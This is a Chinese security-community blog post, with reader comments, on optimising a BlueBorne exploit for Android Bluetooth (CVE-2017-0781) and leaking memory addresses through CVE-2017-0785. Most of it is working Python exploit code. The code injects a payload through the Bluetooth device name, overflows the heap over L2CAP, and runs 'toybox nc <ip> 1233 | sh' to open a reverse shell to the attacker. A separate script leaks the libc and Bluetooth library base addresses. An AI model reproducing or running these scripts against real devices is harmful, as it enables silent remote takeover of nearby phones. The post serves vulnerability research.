
Author: thor@MS509Team

在上一篇文章[Android蓝牙远程命令执行漏洞利用实践:从PoC到exploit](#)中,我们介绍了Android的蓝牙远程命令执行漏洞CVE-2017-0781的漏洞利用过程,但是exploit还有<https://github.com/ArmisSecurity/blueborne>,我们赶紧git clone下来学习一波,并结合他们的一些漏洞利用思路,对我们之前的exploit进行了一些优化升级,大大提高了漏洞利用的稳定性和利用成功率。

0x00 测试环境

1. Android手机: Nexus 6p
2. Android系统版本: android 7.0 userdebug
3. Ubuntu 16 + USB蓝牙适配器

为了调试方便, nexus 6p刷了自己编译的AOSP 7.0 userdebug版本, google官方的release版本经测试也是可以成功利用的。

0x01 exploit优化

我们之前的exploit利用不够稳定主要是因为第一步远程注入payload的时候,我们暂时没有找到稳定的注入方法,只有通过堆喷方式去注入,这就导致payload不能稳定的注

btm_cb是tBTM_CB结构体类型,其定义部分内容如下:

其中有个tACL_CONN结构体数组,其定义部分内容如下:

其中的remote_name成员变量便是我们注入payload的位置。

注入payload主要用到的函数如下:

```
def set_bt_name(payload, src_hci, dst):  
  
    MAX_BT_NAME = 0xf5  
    BNEP_PSM = 15  
  
    # Create raw HCI sock to set our BT name  
    raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))  
    flt = bt.hci_filter_new()  
    bt.hci_filter_all_ptypes(flt)  
    bt.hci_filter_all_events(flt)  
    raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)  
  
    # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)  
    raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))  
    raw_sock.close()  
  
    time.sleep(0.1)  
  
    # Connect to BNEP to "refresh" the name (does auth)  
    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)  
    bnep.connect((dst, BNEP_PSM))  
    bnep.close()  
  
    # Close ACL connection  
    os.system('hcidtool dc %s' % (dst,))
```

其中, payload参数是要注入的内容, dst是目标手机的蓝牙MAC地址。

我们将注入的payload设置为:

```
payload = struct.pack('<III', 0xaaaa1722, 0x41414141, system_addr) + b'';'\n' + b'toybox nc 192.168.2.1 1233 | sh ' + b'\n#'
```

运行测试注入脚本,我们通过gdb调试可以看到payload成功注入:

这里有个需要注意的地方就是payload不能包含0x00等坏字符,不然会被截断。

现在我们知道可以将payload注入到btm_cb.acl_db结构体的remote_name变量,且btm_cb是放在bluetooth.default.so的bss段,如下所示:

因此，我们只要知道了bluetooth.default.so在内存中加载的bss段基址，那么就可以通过基址加偏移量计算得到remote_name变量在内存中的位置，从而知道payload在内存中的位置。

我们优化了注入payload的方式之后，exploit的第二步不变，因此可得到优化版本的exploit脚本：

```
from pwn import *
import bluetooth,time,binascii
from bluetooth import _bluetooth as bt

libc_base = 0xecd3d000
system_addr = libc_base + 0x64a30 + 1

bluetooth_base_addr = 0xd11e2000
osi_alloc_addr = bluetooth_base_addr + 0x15b885
osi_free_addr = bluetooth_base_addr + 0x15b8e5

bluetooth_default_bss_base = 0xd139b000
acl_name_addr = bluetooth_default_bss_base + 0xc2d24

def set_bt_name(payload, src_hci, dst):

    MAX_BT_NAME = 0xf5
    BNEP_PSM = 15

    # Create raw HCI sock to set our BT name
    raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
    flt = bt.hci_filter_new()
    bt.hci_filter_all_ptypes(flt)
    bt.hci_filter_all_events(flt)
    raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)

    # Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
    raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
    raw_sock.close()

    time.sleep(0.1)

    # Connect to BNEP to "refresh" the name (does auth)
    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.connect((dst, BNEP_PSM))
    bnep.close()

    # Close ACL connection
    os.system('hcidtool dc %s' % (dst,))

def insert_payload(src_hci, target, cmd_str):

    payload = p32(acl_name_addr+0x20)*2 + '\x01\x01\x01\x01' + p32(system_addr) + p32(acl_name_addr+0x14) + p32(osi_alloc_addr)

    set_bt_name(payload, src_hci, target)

def heap_overflow(acl_name_addr):

    pkt2 = '\x81\x01\x00' + p32(acl_name_addr) * 8

    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)

    sock.connect((target, 0xf))

    for i in range(3000):

        sock.send(pkt2)
        data = sock.recv(1024)

    sock.close()

if __name__ == "__main__":

    if len(sys.argv) < 4:
        print 'No args specified.'
```

```

    sys.exit()
src_hci = sys.argv[1]
target = sys.argv[2]
reverse_shell_ip = sys.argv[3]

cmd_str = b"toybox nc %s 1233 | sh"%(reverse_shell_ip) + b"\n#"
print "start payload insert "
insert_payload(src_hci, target, cmd_str)

time.sleep(1)

print "start heap overflow "
heap_overflow(acl_name_addr)

```

exploit脚本中的那些硬编码的基址是可以通过信息泄露漏洞获取的，而那些硬编码的偏移量则是在libc.so和bluetooth.default.so中找到的，不同机型及系统都需要做适配。
exploit脚本测试第一步是在本地机器上运行监听反弹shell的脚本：

然后在插上蓝牙适配器的Ubuntu上运行exploit:

最后就是静等反弹shell：

经过优化后，我们的exploit一般运行1~3次便能成功执行，nice!

0x02 关于CVE-2017-0785信息泄露

CVE-2017-0785信息泄露漏洞网上分析有很多了，armis的exploit中也有给出他们的信息泄露脚本，这里我也把我们组@heeeeen大牛编写的脚本放出来：

```

from pwn import *
import bluetooth

pthread_start_off = 0x66a6d
sdp_conn_timer_timeout_off = 0x136350

def packet_leak(service, continuation_state):

    pkt = '\x02\x00\x00'
    pkt += p16(7 + len(continuation_state))
    pkt += '\x35\x03\x19'
    pkt += p16(service)
    pkt += '\x01\x00'
    pkt += continuation_state
    return pkt

def info_leak(target):

    service_long = 0x0100
    service_short = 0x0001
    mtu = 50
    n = 30

    sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bluetooth.set_l2cap_mtu(sock, mtu)
    context.endian = 'big'

    sock.connect((target, 1))

    sock.send(packet_leak(service_long, '\x00'))
    data = sock.recv(mtu)

    if data[-3] != '\x02':
        log.error('Invalid continuation state received.')

    stack = ''

    for i in range(1, n):

        sock.send(packet_leak(service_short, data[-3:]))
        data = sock.recv(mtu)
        stack += data[9:-3]
    sock.close()

```

```

pthread_start_func = int(stack[0x0184:0x0188].encode('hex'),16)

libc_base = pthread_start_func - pthread_start_off
print "libc.so base address is %s" % hex(libc_base)

sdp_conn_timer_timeout_func = int(stack[0x0170:0x0174].encode('hex'),16)

bluetooth_base_addr = sdp_conn_timer_timeout_func - sdp_conn_timer_timeout_off - 1

print "bluetooth.default.so base address is %s" % hex(bluetooth_base_addr)

return (libc_base, bluetooth_base_addr)

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print 'No args specified.'
        sys.exit()

    target = sys.argv[1]

    info_leak(target)

```

该脚本主要利用的是泄露的libc.so中pthread_start函数地址找到libc.so的加载基址，利用泄露的sdp_conn_timer_timeout函数地址找到bluetooth.default.so加载基址。

运行结果如下所示：

0x03 关于armis exploit的大致分析

armis官方给出的exploit主要有两个步骤，第一步是注入payload，第二步则是通过堆溢出去覆盖堆上的某些数据结构的函数指针，从而劫持进程执行。前面我们已经介绍了exploit注入payload的方法，现在我们主要介绍下他们劫持进程的思路。我们知道通过CVE-2017-0781的堆溢出可以去覆盖堆上任意结构体的前8个字节，而armis选择了直接溢出只有8个字节大小的list_node_t结构体，其定义如下：

该结构体的第二个成员是个void型指针，可以根据用途转化为其他类型的指针，而恰好在btu_hci_msg_process函数中会将list_node_t结构体的data成员强制转化为post_to_task_hack_t结构体类型，如下所示：

而post_to_task_hack_t则包含的是一个函数指针：

因此，armis的exploit通过溢出list_node_t结构体可以直接控制堆上的函数指针，从而达到劫持进程执行的目的。list_node_t结构体到p_msg参数的转换则是在btu_fixed_queue_dequeue函数从队列中出队一个list_node_t结构体，然后转换为p_msg参数传递到btu_hci_msg_process函数进行处理。因此，只要能够控制堆上的

armis的exploit运行结果如下所示：

反弹shell如下：

armis的exploit在基址和偏移量准确的情况下，成功利用的概率很高，而且十分稳定。

0x04 总结

本文介绍了针对CVE-2017-0781的exploit优化思路及过程，提高了稳定性及成功率。我们也尝试了在release版本的手机上进行测试，目前暂时只在nexus 6p + google工厂镜像上测试成功，在其他机型上暂未成功。由于不同oem厂商对系统均有所改动，且release版本手机不好调试及找寻找符号偏移量，所以适配工作还是有一定难度。

参考文献：

[1] <https://github.com/ArmisSecurity/blueborne>

点击收藏 | 0 关注 | 0

[上一篇：如何编写Chrome插件](#) [下一篇：开发安全的 API 所需要核对的清单](#)

1. 3 条回复



[wooyun](#) 2017-11-20 16:21:36

这么好的文章没人回复啊，师傅反弹shell的脚步也一起公布下

0 回复Ta



[thor](#) 2017-11-20 17:01:13

参考文献里面armis的github上有

0 回复Ta



[北风飘然](#) 2017-11-22 15:41:07

啊哦 能不能发个计算偏移量调试的方法介绍啊 web狗看不懂二进制啊

<https://jesux.es/exploiting/blueborne-android-6.0.1-english/>

这个博客说的也不错

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)